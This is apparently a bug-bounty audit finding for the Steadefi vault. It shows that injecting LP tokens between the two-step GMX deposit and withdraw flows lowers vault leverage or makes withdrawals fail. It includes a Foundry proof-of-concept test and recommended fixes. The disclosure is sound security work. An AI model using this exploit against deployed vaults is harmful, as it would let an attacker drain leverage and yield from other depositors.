Steadefi
Steadefi
DeFiHardhatFoundryOracle
35,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Token injection leads to unintended behavior of vault

schnilch

Summary

When a token is deposited/withdrawn in a vault, it happens in two steps. In the first step, some states of the vault are saved, which are partially important for the second step, and a request to deposit/withdraw is made to GMX. In the second step, GMX calls the callback function, and the vault completes the deposit/withdrawal. The problem is that one can send LP tokens to the contract between these two steps, causing the vault to behave unintentionally.

Vulnerability Details

Deposit

Here is a PoC for the effects when sending lpTokens between the two steps during deposit:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { console, console2 } from "forge-std/Test.sol";
import { TestUtils } from "../../helpers/TestUtils.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
import { GMXTestHelper } from "./GMXTestHelper.sol";
​
import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";
​
contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
function test_POC2() public {
uint256 lpAmtUser1 = 0.000005e18; //~400$ (because price of lpToken = 79990000$)
​
//In the setup, the owner receives a few lpTokens, which are now sent to user1 for testing the token injection
vm.startPrank(owner);
IERC20(address(WETHUSDCpair)).transfer(address(user1), lpAmtUser1);
vm.stopPrank();
//Owner deposits in Vault
vm.startPrank(owner);
_createDeposit(address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
​
//Variable for Assertion
(,uint256 debtAmtTokenBBefore) = vault.debtAmt();
​
vm.startPrank(user1);
_createDeposit(address(WETH), 0.1 ether, 0, SLIPPAGE, EXECUTION_FEE); //User1 creates deposit. The 0.1 ether is being leveraged
IERC20(address(WETHUSDCpair)).transfer(address(vault), lpAmtUser1); //User1 injects lp-tokens between createDeposit and processDeposit. They are not leveraged
vm.stopPrank();
//In step one, the equity was saved before the deposit. The equity depends on the LP amount and the debts to the lending Vaults. In step two,
//the saved equity is used alongside the current equity to calculate how many Vault shares a user receives. This way, user1 receives shares
//for their injected tokens that do not have any leverage.(so no borrowing from the lending vaults was done for these tokens)
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
//User1 withdraws all his tokens.
uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1);
vm.startPrank(user1);
//In the case of a withdrawal, the debts to the LendingVaults are also repaid. Since it is assumed that all tokens have been leveraged, there
//is a mistaken repayment to the lending vaults for the injected tokens as well.
_createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
​
//Variable for Assertion
(,uint256 debtAmtTokenBAfter) = vault.debtAmt();
//After User1 withdrew their LP tokens, the debt amount for TokenB would normally be approximately the same as it was before User1 deposited.
//However, due to the unleveraged tokens, more debt was repaid, resulting in a lower debt and, consequently, lower leverage than before.
assert(debtAmtTokenBBefore - 750e6 > debtAmtTokenBAfter); //750e6 == $750. This is to show that the debt is significantly less than before
​
console.log("debtAmtTokenBBefore: %s", debtAmtTokenBBefore);
console.log("debtAmtTokenBAfter: %s", debtAmtTokenBAfter);
}
}

Since the user can withdraw their injected tokens, which they received VaultShares for, they could execute this action multiple times to further worsen the tokenB debt amount and, consequently, the leverage.

The POC can be started with this command: forge test --match-test test_POC2 -vv

Withdraw

When withdrawing, LP tokens can also be injected between the two steps. This can be exploited by an attacker because he can fail the afterWithdrawChecks if he sends the same amount of lp tokens that a user wants to withdraw.

Here is the check that the attacker could exploit by sending enough tokens to make the lpAmt as large as it was before the withdrawal:

File: GMXChecks.sol#afterWithdrawChecks
207: if (GMXReader.lpAmt(self) >= self.withdrawCache.healthParams.lpAmtBefore)
208: revert Errors.InsufficientLPTokensBurned();

Impact

Since, if this bug is exploited during deposit, an attacker can decrease the leverage, it results in users of the vault having less leverage and lower yield.

When withdrawing, the attacker can potentially cause the withdrawal to fail, but the user doesn't lose anything and can try again.

Tools Used

VSCode, Foundry

Recommendations

In the deposit function, the depositValue should be used to determine approximately how many lpTokens GMX will be transferred to the vault. This number should then be compared to the actual received amount in processDeposit.

In the case of withdrawal, after calling removeLiquidity, the lpAmt should be stored, and this should be compared to the lpAmt in the processWithdraw function to determine whether tokens were injected.

Updates

Lead Judging Commences

hans Auditor
almost 2 years ago
hans Auditor
almost 2 years ago
hans Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Directly sending lpToken to the vault in the middle of the flow

The impact is not clear yet.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.